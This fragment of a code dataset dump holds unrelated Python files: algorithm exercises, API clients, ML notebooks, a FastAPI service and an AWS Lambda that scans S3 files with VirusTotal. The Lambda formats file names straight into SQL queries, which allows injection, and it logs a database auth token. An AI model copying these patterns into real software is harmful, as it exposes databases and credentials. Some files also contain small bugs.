l2:\n l2 = l2.next \n \n return res.next\n \n \n# @lc code=end\n\n","repo_name":"wintai9899/Leetcode-Python","sub_path":"LinkedList/2.add-two-numbers.py","file_name":"2.add-two-numbers.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38758901363","text":"import requests\n\nfrom date_manager import DateManager\nfrom env import TEQUILA_API_KEY\n\nTEQUILA_ENDPOINT = 'https://tequila-api.kiwi.com/v2/search'\n\nheaders = {\n 'apikey': TEQUILA_API_KEY\n}\n\n\nclass FlightSearch:\n\n @staticmethod\n def search_flights(city_code: str) -> dict:\n\n params = {\n 'fly_from': 'WRO',\n 'fly_to': city_code,\n 'date_from': DateManager.get_starting_date(),\n 'date_to': DateManager.get_ending_date(),\n 'adults': 1\n }\n\n response = requests.get(url=TEQUILA_ENDPOINT, headers=headers, params=params).json()\n\n return response\n","repo_name":"KarolinaZawisza/make-a-flight","sub_path":"flight_search.py","file_name":"flight_search.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37316649733","text":"import boto3\nfrom botocore.exceptions import ClientError\nimport os\nimport time\nimport json\nimport virustotal3.core\nfrom os import listdir, system\nimport urllib.parse\nimport pg8000\nimport pymysql\nimport logging\nimport sys\n\nAPI_KEY = os.environ[\"VT_API\"]\nDBENDPOINT = \"DBENDPOINT\"\nDBNAME = \"files\"\nDBUSER = \"USER\"\nDBPASSWORD = \"PASSWORD\"\n\ndef lambda_handler(event, context):\n S3_BUCKET_NAME = event[\"Records\"][0][\"s3\"][\"bucket\"][\"name\"]\n FILE_NAME = urllib.parse.unquote_plus(event[\"Records\"][0][\"s3\"][\"object\"][\"key\"], encoding=\"utf-8\")\n try:\n s3 = boto3.client(\"s3\")\n s3.download_file(S3_BUCKET_NAME, FILE_NAME, \"/tmp/{}\".format(FILE_NAME))\n except ClientError as e:\n print(\"Unexpected error: %s\" % e)\n print(\"file downloaded from Bucket\")\n print(S3_BUCKET_NAME, FILE_NAME )\n\n vt = virustotal3.core.Files(API_KEY)\n response = vt.upload(\"/tmp/{}\".format(FILE_NAME))\n print(\"file is being scanned\")\n QUERY = \"INSERT INTO files.status VALUES ('{}', 'scanning', 0, 0, 0);\".format(FILE_NAME)\n print(QUERY)\n connection = connect_db()\n print(\"connected to DB\")\n try:\n with connection.cursor() as cur:\n cur.execute(QUERY)\n connection.commit()\n except Exception as e:\n print(\"Failed due to :{0}\".format(str(e)))\n return {\"status\": \"Error\", \"message\": \"Something went wrong. Try again\"}\n print(\"Added query {}\".format(QUERY))\n\n analysis_id = response[\"data\"][\"id\"]\n print(\"Analysis ID: {}\".format(analysis_id))\n results = virustotal3.core.get_analysis(API_KEY, analysis_id)\n status = results[\"data\"][\"attributes\"][\"status\"]\n\n print(\"Waiting for results...\")\n while \"completed\" not in status:\n results = virustotal3.core.get_analysis(API_KEY, analysis_id)\n status = results[\"data\"][\"attributes\"][\"status\"]\n print(\"Current status: {}\".format(status))\n time.sleep(20)\n\n results = virustotal3.core.get_analysis(API_KEY, analysis_id)\n malicious = results[\"data\"][\"attributes\"][\"stats\"][\"malicious\"]\n failure = results[\"data\"][\"attributes\"][\"stats\"][\"failure\"]\n timeout = results[\"data\"][\"attributes\"][\"stats\"][\"timeout\"]\n result_summary = \"\"\"\n \"malicious: \", {}\n \"failure: \", {}\n \"timeout: \", {}\n \"\"\".format(\n malicious, failure, timeout\n )\n print(result_summary)\n QUERY = \"UPDATE files.status SET filemode = 'scanned', malicious = {} , failure = {}, timeout = {} WHERE filename = '{}' ;\".format(malicious, failure, timeout, FILE_NAME)\n try:\n with connection.cursor() as cur:\n cur.execute(QUERY)\n connection.commit()\n except Exception as e:\n print(\"Failed due to :{0}\".format(str(e)))\n return {\"status\": \"Error\", \"message\": \"Something went wrong. Try again\"}\n print(\"Added query {}\".format(QUERY))\n\ndef connect_db():\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n try:\n print(\"Connecting to database\")\n RDS_client = boto3.client(\"rds\", region_name=\"us-east-1\")\n PASSWORD = RDS_client.generate_db_auth_token(DBENDPOINT, 3306, DBUSER)\n print(PASSWORD)\n conn = pymysql.connect(\n host=DBENDPOINT,\n user=DBUSER,\n passwd=DBPASSWORD,\n db=DBNAME,\n )\n return conn\n except pymysql.MySQLError as e:\n logger.error(\"ERROR: Unexpected error: Could not connect to MySQL instance.\")\n logger.error(e)\n sys.exit()\n","repo_name":"arielzabar/lambda_project","sub_path":"lambda-code.py","file_name":"lambda-code.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"43543824882","text":"from assessment.services.assessment import get_assessor_or_company_or_raise_exception, get_assessor_or_raise_exception\nfrom users.models import Assessor, Company\nfrom assessment.models import AssessmentTool, AssessmentToolSerializer, TestFlow, TestFlowSerializer\n\ndef get_assessment_tool_by_company(user):\n # For now, this function can be utilised by the assessors\n assessor: Assessor = get_assessor_or_raise_exception(user)\n company: Company = assessor.associated_company\n list_of_assessment_tools = AssessmentTool.objects.filter(owning_company=company)\n return list_of_assessment_tools\n\ndef get_test_flow_by_company(user):\n foundUser = get_assessor_or_company_or_raise_exception(user)\n if (foundUser.get(\"type\") == \"assessor\"):\n assessor: Assessor = foundUser.get(\"user\")\n company: Company = assessor.associated_company\n else:\n company: Company = foundUser.get(\"user\")\n list_of_test_flows = TestFlow.objects.filter(owning_company=company)\n return list_of_test_flows\n\ndef serialize_assignment_list_using_serializer(assignments):\n serialized_assignment_list = []\n for assignment in assignments:\n data = AssessmentToolSerializer(assignment).data\n data[\"type\"] = type(assignment).__name__.lower()\n serialized_assignment_list.append(data)\n return serialized_assignment_list\n\ndef serialize_test_flow_list(test_flows):\n return [TestFlowSerializer(test_flow).data for test_flow in test_flows]\n","repo_name":"johaneschristian/odi-assessment-progress-fastrelease","sub_path":"assessment/services/assessment_tool.py","file_name":"assessment_tool.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72338511521","text":"import requests\n\nfrom solr_metric_service.solr_metric_service import SolrMetricService\nfrom metric_processors.metric_processors import MetricProcessor\nfrom exporters.cloudwatch_agent import CloudWatchAgentExporter\n\nSOLR_ADMIN_ENDPOINT = \"http://localhost:8983/solr\"\nBASE_SOLR_ENDPOINT = \"http://localhost:8983\"\n\ndef solr_is_running(endpoint):\n resp = requests.get(endpoint)\n assert resp.status_code == 200 \n\ndef successful_get_latency_metrics(sms):\n resp = sms.get_query_latency_metrics()\n print(resp)\n return resp\n\ndef successful_latency_shard_and_rep_agg(mp, metric_data):\n resp = mp.process_latency_metrics(metric_data)\n print(resp)\n return resp\n\ndef successful_send_metric_to_cw(cwx, data, data_type):\n cwx.publish(data, data_type)\n\ndef successful_get_memory_metrics(sms):\n resp = sms.get_memory_metrics()\n print(resp)\n return resp\n\ndef successful_process_mem_memtrics(mp, metrics):\n resp = mp.process_memory_metrics(metrics)\n print(resp)\n return resp\n\n\ndef run_tests(base_host):\n solr_admin_endpoint = base_host + \"/solr\"\n solr_is_running(solr_admin_endpoint)\n\n # Latency metrics\n sms = SolrMetricService(base_host)\n metrics = successful_get_latency_metrics(sms)\n\n mp = MetricProcessor()\n metrics = successful_latency_shard_and_rep_agg(mp, metrics)\n\n cwx = CloudWatchAgentExporter()\n successful_send_metric_to_cw(cwx, metrics, \"gauge\")\n \n\n # Memory metrics\n metrics = successful_get_memory_metrics(sms)\n metrics = successful_process_mem_memtrics(mp, metrics)\n successful_send_metric_to_cw(cwx, metrics, \"guage\")\n","repo_name":"AlexMayle/solr2cloudwatch","sub_path":"tests/solr_metric_service_tests.py","file_name":"solr_metric_service_tests.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33384873160","text":"from __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nimport os\r\n\r\ndef rename_files():\r\n '''\r\n get file names from folder secretmsg\r\n rename file names by removing all alphabet letters\r\n see the message displayed in the secretmsg folder by ordering the images\r\n by file name\r\n '''\r\n file_list = os.listdir(r\"secretmsg\")\r\n original_path=os.getcwd()\r\n os.chdir(r\"secretmsg\")\r\n print(file_list)\r\n\r\n for file_name in file_list:\r\n os.rename(file_name, file_name.translate(None,\"abcdefghijklmnopqrstuvwxyz\")+\".jpg\")\r\n \r\n print(\"Old name: \"+file_name)\r\n print(\"New name: \"+file_name.translate(None,\"abcdefghijklmnopqrstuvwxyz\")+\".jpg\")\r\n \r\n os.chdir(original_path)\r\n \r\nrename_files()\r\n\r\n\r\n\r\n\r\n","repo_name":"anpoon430/Python-foundations-Udacity","sub_path":"rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6302574492","text":"def cal_x(age):\n if age <= 0:\n raise ZeroDivisionError(\"age value %s is not valid\" % age)\n print(10 / age)\n\n\ntry:\n cal_x(0)\n cal_x(10)\n# except ValueError as error:\n# print('value error age can not be zero')\n\nexcept ZeroDivisionError as error:\n print('zero division error, age can not be zero')\n print(error)\n\nelse:\n cal_x(3.5)\n\nfinally:\n print('job is done')\n","repo_name":"danqunyu/Algorithm","sub_path":"exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30090010591","text":"# 2. Write a python program to create a function and print a list where the values are square of numbers between 1 and 30.\r\n\r\ndef lt():\r\n l1=[]\r\n for x in range(1,31):\r\n y=x**2\r\n l1.append(y)\r\n print(l1)\r\n\r\nlt()\r\n","repo_name":"SahityaGupta25/Core-Python","sub_path":"Functions/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20882100107","text":"#C06_EX03: Scrieti o clasa Account (fields: iban: str, owner: str, balance: float -> default 0).\n# Metode:\n# - show_balance() - \" are in contul suma de RON\"\n# - withdraw(amount)\n# - deposit(amonut)\n\nclass Account:\n def __init__(self, iban, owner, balance=0.0):\n self.iban = iban\n self.owner = owner\n self.balance = balance\n\n def show_balance(self):\n print(f'{self.owner} are in contul {self.iban} suma de {self.balance} RON')\n\n def deposit(self, amount):\n self.balance = self.balance + amount\n\n def withdraw(self, amount):\n self.balance -= amount\n return amount\n\nnew_account = Account(\"ROON1234XYZ\", \"Mihai\")\nprint(new_account.balance)\nnew_account.show_balance()\nnew_account.deposit(5000)\nnew_account.show_balance()\nnew_account.deposit(1000)\nwithdraw_amount = new_account.withdraw(2500)\nprint(withdraw_amount)\nnew_account.show_balance()\nwithdraw_amount = new_account.withdraw(4000)\n\n\n\n\n\n\n","repo_name":"tDorinel/Pyhton_Basics","sub_path":"Tema4/ex.py","file_name":"ex.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2356401045","text":"import numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom xgboost.sklearn import XGBClassifier\r\n\r\nnp.random.seed(0)\r\n\r\ndef calculate_pct(device_type_time, total_time):\r\n return device_type_time/total_time if total_time > 0 else None\r\n \r\n\r\ndef get_user_device_type_time(fpath='../input/sessions.csv'):\r\n\r\n sessions = pd.read_csv(fpath)\r\n # sum up secs_elapsed time on each device_type for each user\r\n device_type_time = pd.pivot_table(sessions, index=['user_id'], columns=['device_type'], values='secs_elapsed', aggfunc=sum, fill_value=0)\r\n device_type_time.reset_index(inplace=True)\r\n # sum up elapsed time on all the devices for each user\r\n device_type_time['total_elapsed_time'] = device_type_time.sum(axis=1)\r\n \r\n # add attributes for usage percentage of each device type\r\n device_columns = device_type_time.columns[1:-2] # exclude first column: user_id and last column: total_elapsed_time\r\n for column in device_columns:\r\n device_type_time[column+'_pct'] = device_type_time.apply(lambda row: calculate_pct(row[column], row['total_elapsed_time']), axis=1)\r\n \r\n \r\n print(device_type_time[device_type_time.total_elapsed_time > 0].head())\r\n\r\n return device_type_time\r\n\t\r\n\r\ndef merge_user_and_session_data(user_df, user_device_type_time_df=None):\r\n\r\n if not isinstance(user_device_type_time_df, pd.DataFrame):\r\n user_device_type_time_df = get_user_device_type_time()\r\n\r\n users_combined_df = pd.merge(user_df, user_device_type_time_df, left_on='id', right_on='user_id', how='left')\r\n return users_combined_df\r\n\r\n\r\n#Loading data\r\ndf_train = pd.read_csv('../input/train_users_2.csv')\r\ndf_test = pd.read_csv('../input/test_users.csv')\r\n\r\nuser_device_type_time_df = get_user_device_type_time()\r\ndf_train = merge_user_and_session_data(df_train, user_device_type_time_df)\r\ndf_test = merge_user_and_session_data(df_test, user_device_type_time_df)\r\n\r\nlabels = df_train['country_destination'].values\r\ndf_train = df_train.drop(['country_destination'], axis=1)\r\nid_test = df_test['id']\r\npiv_train = df_train.shape[0]\r\n\r\n#Creating a DataFrame with train+test data\r\ndf_all = pd.concat((df_train, df_test), axis=0, ignore_index=True)\r\n#Removing id and date_first_booking\r\ndf_all = df_all.drop(['id', 'date_first_booking'], axis=1)\r\n#Filling nan\r\ndf_all = df_all.fillna(-1)\r\n\r\n\r\n#####Feature engineering#######\r\n#date_account_created\r\ndac = np.vstack(df_all.date_account_created.astype(str).apply(lambda x: list(map(int, x.split('-')))).values)\r\ndf_all['dac_year'] = dac[:,0]\r\ndf_all['dac_month'] = dac[:,1]\r\ndf_all['dac_day'] = dac[:,2]\r\ndf_all = df_all.drop(['date_account_created'], axis=1)\r\n\r\n#timestamp_first_active\r\ntfa = np.vstack(df_all.timestamp_first_active.astype(str).apply(lambda x: list(map(int, [x[:4],x[4:6],x[6:8],x[8:10],x[10:12],x[12:14]]))).values)\r\ndf_all['tfa_year'] = tfa[:,0]\r\ndf_all['tfa_month'] = tfa[:,1]\r\ndf_all['tfa_day'] = tfa[:,2]\r\ndf_all = df_all.drop(['timestamp_first_active'], axis=1)\r\n\r\n#Age\r\nav = df_all.age.values\r\ndf_all['age'] = np.where(np.logical_or(av<14, av>100), -1, av)\r\n\r\n#One-hot-encoding features\r\nohe_feats = ['gender', 'signup_method', 'signup_flow', 'language', 'affiliate_channel', 'affiliate_provider', 'first_affiliate_tracked', 'signup_app', 'first_device_type', 'first_browser']\r\nfor f in ohe_feats:\r\n df_all_dummy = pd.get_dummies(df_all[f], prefix=f)\r\n df_all = df_all.drop([f], axis=1)\r\n df_all = pd.concat((df_all, df_all_dummy), axis=1)\r\n\r\n#Splitting train and test\r\nvals = df_all.values\r\nX = vals[:piv_train]\r\nle = LabelEncoder()\r\ny = le.fit_transform(labels) \r\nX_test = vals[piv_train:]\r\n\r\n#Classifier\r\nxgb = XGBClassifier(max_depth=6, learning_rate=0.3, n_estimators=25,\r\n objective='multi:softprob', subsample=0.5, colsample_bytree=0.5, seed=0) \r\nxgb.fit(X, y)\r\ny_pred = xgb.predict_proba(X_test) \r\n\r\n#Taking the 5 classes with highest probabilities\r\nids = [] #list of ids\r\ncts = [] #list of countries\r\nfor i in range(len(id_test)):\r\n idx = id_test[i]\r\n ids += [idx] * 5\r\n cts += le.inverse_transform(np.argsort(y_pred[i])[::-1])[:5].tolist()\r\n\r\n#Generate submission\r\nsub = pd.DataFrame(np.column_stack((ids, cts)), columns=['id', 'country'])\r\nsub.to_csv('sub.csv',index=False)\r\n\r\n","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/airbnb-recruiting-new-user-bookings/vLab/let-s-combine.py","file_name":"let-s-combine.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"15695933505","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[17]:\n\n\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nimport csv\nimport random\n\ndef list_take(list_elements, list_drop):\n list_new = list()\n for i, ele in enumerate(list_elements):\n if i == 1:\n survived = ele\n continue\n if i not in list_drop:\n list_new.append(ele)\n list_new.append(survived)\n return list_new\n\n\ndef list_take(list_elements, list_drop, label_modify=False):\n list_new = list()\n for i, ele in enumerate(list_elements):\n if label_modify and i == 1:\n survived = ele\n continue\n if i not in list_drop:\n list_new.append(ele)\n if label_modify:\n list_new.append(survived)\n return list_new\n\n\ndef load_data(file_path=\"train.csv\", encoding=\"utf-8\"):\n \"\"\"load data from file_path encode as encoding\n split datas and labels into train and test\"\"\"\n data_set = []\n with open(file_path, encoding=encoding) as fp:\n csv_reader = csv.reader(fp)\n for ri, row in enumerate(csv_reader):\n if ri == 0:\n feat_list = list_take(row, [0, 3, 8, 10], True)\n else:\n data_set.append(list_take(row, [0, 3, 8, 10], True))\n data_set = np.array(data_set)\n age_avg = int(np.mean(data_set[data_set[:, 2] != '', 2].astype(np.float)))\n data_set[data_set[:, 2] == '', 2] = str(age_avg)\n embark_list = list(set(data_set[:, -2].tolist()) - {''})\n null_num =len(np.nonzero(data_set[:, -2] == ''))\n mul = int(null_num / len (embark_list)) + 1\n data_set[data_set[:, -2] == '', -2] = np.array(random.sample(embark_list * mul , null_num))\n return data_set[:, :-1], data_set[:, -1], feat_list[:-1]\n\n\ndef load_xdata(file_path=\"train.csv\", encoding=\"utf-8\"):\n \"\"\"load data from file_path encode as encoding\n split datas and labels into train and test\"\"\"\n data_set = []\n with open(file_path, encoding=encoding) as fp:\n csv_reader = csv.reader(fp)\n for ri, row in enumerate(csv_reader):\n if ri == 0:\n continue\n else:\n data_set.append(list_take(row, [0, 2, 7, 9], False))\n data_set = np.array(data_set)\n age_avg = int(np.mean(data_set[data_set[:, 3] != '', 3].astype(np.float)))\n data_set[data_set[:, 3] == '', 3] = str(age_avg)\n embark_list = list(set(data_set[:, -1].tolist()) - {''})\n null_num =len(np.nonzero(data_set[:, -1] == ''))\n mul = int(null_num / len (embark_list)) + 1\n data_set[data_set[:, -1] == '', -1] = np.array(random.sample(embark_list * mul , null_num))\n return data_set\n\n\ndef load_ydata(file_path=\"train.csv\", encoding=\"utf-8\"):\n \"\"\"load data from file_path encode as encoding\n split datas and labels into train and test\"\"\"\n data_set = []\n with open(file_path, encoding=encoding) as fp:\n csv_reader = csv.reader(fp)\n for ri, row in enumerate(csv_reader):\n if ri == 0:\n continue\n else:\n data_set.append(row[-1])\n return np.array(data_set)\n\n\n\ndef map_str_label(data_mat):\n feat_nums = data_mat.shape[1]\n feat_map = []\n for i in range(feat_nums):\n value_set = set(data_mat[:, i].tolist())\n j = 0\n feat_dict = {}\n for value in value_set:\n feat_dict[j] = value\n data_mat[data_mat[:, i] == value, i] = j\n j = j + 1\n feat_map.append(feat_dict)\n return data_mat, feat_map\n\n\ndef test_accuracy(x, y, xtest_input=None, ytest_input=None):\n\n ''''' 拆分训练数据与测试数据 '''\n x, x_label = map_str_label(x)\n y, y_label = map_str_label(y)\n y = y.reshape(y.shape[0])\n if xtest_input is None or ytest_input is None:\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2)\n else:\n x_test, _ = map_str_label(xtest_input)\n y_test, _ = map_str_label(ytest_input)\n x_train, y_train = x, y \n\n ''''' 使用信息熵作为划分标准,进行随机森林训练 '''\n clf = RandomForestClassifier(n_estimators=10, criterion=\"entropy\", max_features=\"auto\", min_samples_split=4)\n # print(clf)\n clf.fit(x_train, y_train)\n\n # class_names = []\n # for class_label in y_label[0].values():\n # class_names.append(class_label)\n ''''' 把决策树结构写入文件 '''\n # with open(\"car_data.dot\", 'w+') as f:\n # f = tree.export_graphviz(clf, feature_names=feat_list, class_names=class_names, rounded=True, out_file=f)\n\n ''''' 系数反映每个特征的影响力。越大表示该特征在分类中起到的作用越大 '''\n # print(clf.feature_importances_)\n '''''测试结果的打印'''\n answer = clf.predict(x_test)\n \n # print(x_test)\n # print(answer)\n # print(y_test)\n print(np.mean(answer == y_test))\n return np.mean(answer == y_test)\n # print(np.mean(answer == y_test))\n\n\n# In[18]:\n\n\naccuracy = 0.0\ntime = 1000\ndata, labels, feat_list = load_data(\"../input/train.csv\")\nx = np.array(data)\nxtest = load_xdata(\"../input/test.csv\")\nytest = load_ydata(\"../input/gender_submission.csv\")\nlabels = np.array(labels)\ny = labels.reshape((x.shape[0], 1))\nwhile time:\n time = time - 1\n accuracy += test_accuracy(x, y, xtest, ytest)\naccuracy /= 1000\nprint(\"accuracy:\\t\", accuracy)\n\n","repo_name":"nischalshrestha/automatic_wat_discovery","sub_path":"Notebooks/py/huangshiyang1993/use-randomforests-to-predict-titanic-survial/use-randomforests-to-predict-titanic-survial.py","file_name":"use-randomforests-to-predict-titanic-survial.py","file_ext":"py","file_size_in_byte":5385,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"23654914575","text":"\n# Importations\n\nfrom typing import Union\nfrom fastapi import FastAPI\nimport pickle\nfrom pydantic import BaseModel\nimport pandas as pd\nimport os\n# Assuming these imports for scaler and label_encoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.preprocessing import LabelEncoder\n\n# Setup Section\n \n## A function to load machine Learning components to re-use\ndef Ml_loading_components(fp):\n with open(fp, \"rb\") as f:\n object=pickle.load(f)\n return(object)\n\n# Loading the machine learning components\nDIRPATH = os.path.dirname(os.path.realpath(__file__))\nml_core_fp = os.path.join(DIRPATH,\"ML\",\"ML_Model.pkl\")\nml_components_dict = Ml_loading_components(fp=ml_core_fp)\n\n\n\n# Defining the variables for each component\nlabel_encoder = ml_components_dict['label_encoder']\nscaler = ml_components_dict['scaler']\nmodel = ml_components_dict['model']\n\n\n# Create FastAPI instance\napp = FastAPI(title=\"Sepsis Prediction API\",description=\"API for Predicting Sespsis \")\n\n\n# Create prediction endpoint\n@app.get(\"/predict\")\ndef predict (PRG:float,PL:float,BP:float,SK:float,TS:float,BMI:float,BD2:float,Age:float):\n\n \"\"\"\n* PRG: Plasma glucose\n\n* PL: Blood Work Result-1 (mu U/ml)\n\n* PR: Blood Pressure (mmHg)\n\n* SK: Blood Work Result-2(mm)\n\n* TS: Blood Work Result-3 (muU/ml)\n\n* M11: Body mass index (weight in kg/(height in m)^2\n\n* BD2: Blood Work Result-4 (mu U/ml)\n\n* Age: patients age(years)\n\n\n\"\"\" \n # Prepare the feature and structure them like in the notebook\n df = pd.DataFrame({\n \"PRG\":[PRG],\n \"PL\":[PL],\n \"BP\":[BP],\n \"SK\":[SK],\n \"TS\":[TS],\n \"BMI\":[BMI],\n \"BD2\":[BD2],\n \"Age\":[Age]\n })\n\n\n print(f\"[Info] The inputed dataframe is : {df.to_markdown()}\")\n\n # Feature Preprocessing and Creation\n df_scaled = scaler.transform(df)\n\n\n # Prediction\n raw_prediction = model.predict(df_scaled)\n if raw_prediction == 0:\n return{f\"The patient will Not Develop Sepsis\"}\n elif raw_prediction == 1:\n return {f\"The patient Will Develop Sepsis\"}\n else:\n return {\"Error\"}\n\n\nif __name__ == \"__main__\":\n uvicornf.run(\"main:app\",reload=True)\n","repo_name":"odee0405/Sepsis-Prediction-A-Case-Study-on-John-Hopkins-Hospital-Data","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10567967736","text":"import asyncio\nimport pandas as pd\n\nfrom base_map_parser import BaseMapParser\nfrom utils.functions import turkish_title\n\nclass ToplanmaParser(BaseMapParser):\n\n @classmethod\n async def parse(cls):\n sheet_id = \"131Wi8A__gpRobBT3ikt5VD3rSZIPZxxtbqZTOUHUmB8\"\n sheet_name = \"G%C3%BCvenli%20Toplanma%20Alanlar%C4%B1\"\n url = f\"https://docs.google.com/spreadsheets/d/{sheet_id}/gviz/tq?tqx=out:csv&sheet={sheet_name}\"\n\n df = pd.read_csv(url, encoding=\"utf-8\")\n df.fillna(\"\", inplace=True)\n toplanma_noktaliari = []\n\n async def process_row(row):\n coor = await cls.get_coordinates(row['Maps Linki'])\n if not coor:\n return\n toplanma_noktaliari.append(\n {\n \"city\": turkish_title(row['Şehirler'].strip()),\n \"name\": row['Konum'].strip() if not pd.isna(row['Konum']) else None,\n \"source\": row['Kaynak'].strip() if not pd.isna(row['Kaynak']) else None,\n \"latitude\": coor[0],\n \"longitude\": coor[1],\n }\n )\n\n await asyncio.gather(*[process_row(row) for _, row in df.iterrows()])\n\n return {\n \"type\": \"map-gathering-list\",\n \"data\": toplanma_noktaliari,\n }\n","repo_name":"alpaylan/afetbilgi.com","sub_path":"data/map-parsers/toplanma.py","file_name":"toplanma.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"54"} +{"seq_id":"73524353763","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 30 17:52:55 2020\n\n@author: Daniel Tan\n\"\"\"\n\n\nimport tensorflow as tf\nfrom tensorflow.python.saved_model import signature_constants\nfrom tensorflow.python.saved_model import tag_constants\n\ndef convert_graph_to_saved_model(graph_path: str, model_dir: str):\n builder = tf.compat.v1.saved_model.builder.SavedModelBuilder(model_dir)\n \n with tf.io.gfile.GFile(graph_path, \"rb\") as f:\n graph_def = tf.compat.v1.GraphDef()\n graph_def.ParseFromString(f.read())\n \n sigs = {}\n \n with tf.compat.v1.Session(graph=tf.Graph()) as sess:\n # name=\"\" is important to ensure we don't get spurious prefixing\n tf.compat.v1.import_graph_def(graph_def, name=\"\")\n g = tf.compat.v1.get_default_graph()\n\n \"\"\"\n Names here are determined by \"input_names\" and \"output_names\"\n arguments in the initial call to torch.onnx.export(...)\n\n The pipeline assumes that these have been set to:\n input_names = ['model_input']\n output_names = ['model_output']\n \"\"\" \n inp = g.get_tensor_by_name(\"model_input:0\")\n out = g.get_tensor_by_name(\"model_output:0\")\n \n sigs[signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY] = \\\n tf.compat.v1.saved_model.signature_def_utils.predict_signature_def(\n {\"in\": inp}, {\"out\": out})\n \n builder.add_meta_graph_and_variables(sess,\n [tag_constants.SERVING],\n signature_def_map=sigs)\n \n builder.save()\n","repo_name":"dtch1997/TorchFlowMicro","sub_path":"converter/convert_graph_to_saved_model.py","file_name":"convert_graph_to_saved_model.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"22156474288","text":"import csv\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.stats import shapiro\nfrom scipy.stats import normaltest\nfrom scipy import stats\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn import preprocessing\nfrom sklearn import decomposition\nfrom sklearn.model_selection import train_test_split\n\n\n#def max_value(inputlist):\n# return max([sublist[-1] for sublist in inputlist])\n\n#def min_value(inputlist):\n# return min([sublist[-1] for sublist in inputlist])\n\n\"\"\"\ndef normalize(x):\n a = 0\n b = 1\n j = 0\n xmax = int(max_value(x))\n xmin = int(min_value(x))\n print(\"X max \", xmax)\n print(\"X min \", xmin)\n for i in x:\n #print(i[1])\n x[j] = int((i - xmin)/(xmax - xmin))\n j += 1\n #print(\"X = \", X)\n print(\"x = \", x)\n return x\n\"\"\"\n\n\ndata = pd.read_csv('Development Index.csv')\n#print(data)\ndata = data.transpose()\ndata = data.values.tolist()\ndata = np.array(data)\n\n#data = data.values.tolist()\n#print(\"data\", data)\n\n#print(data[[\"Population\", \"GDP ($ per capita)\", \"Pop. Density \"]])\n\n\nstat, p = shapiro(data[0])\nprint(\"stat = \", stat, \"pvalue = \", p)\nshapiro_test = stats.shapiro(data)\n\n\nx = [data[0], data[2], data[3]]\ny = data[6]\ny_norm = []\n#y = np.array(y)\n#yMax = int(max(data[6]))\n\n\n#xmax = int(max(max(data[0]), max(data[2]), max(data[3])))\n#print(\"XMAX \", xmax)\n#print(\"x = \", x)\n#print(\"Y \", y)\n\n#print(\"y =\", y)\n#y = np.dot(x, np.array([0, 224]))\n#print(\"y = \", y)\n#xNorm = normalize(data[[\"Population\"]])\n#print(xNorm)\n\n\n\n#xNorm = preprocessing.minmax_scale(x)\n\nx = np.array(x)\nx = x.transpose()\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.4)\n\n\nfor i in range(len(y_train)):\n y_norm.append(y_train[i] / (4 + (4 - 1)))\n i += 1\nprint(\"y normalize: \", y_norm)\nxtest_denorm = x_test\n\n\n#yNorm = preprocessing.normalize(y)\n#yNorm = yNorm.transpose()\n\nxtrain_norm = preprocessing.normalize(x_train, norm=\"max\", axis=0)\nxtest_norm = preprocessing.normalize(x_test, norm=\"max\", axis=0)\n#print(\"xtrainNorm: \", xtrain_norm, \"xtestNorm: \", xtest_norm)\n#x_norm = x_norm.transpose()\n#print(\"NORM \", xNorm)\n\n\nlinear = LinearRegression()\nreg = linear.fit(xtrain_norm, y_norm)\npre = linear.predict(xtest_norm)\n\n#preNorm = preprocessing.normalize(pre)\n#preNorm.transpose()\n#print(pre)\n\n\nprint(\"liner_coef_: \", linear.coef_)\nprint(\"liner_inter: \", linear.intercept_)\n\n\n\"\"\"\ny_pre = np.array(pre)\npca = decomposition.PCA()\npca.fit(y_pre)\npca.fit(y_true)\ny_true = 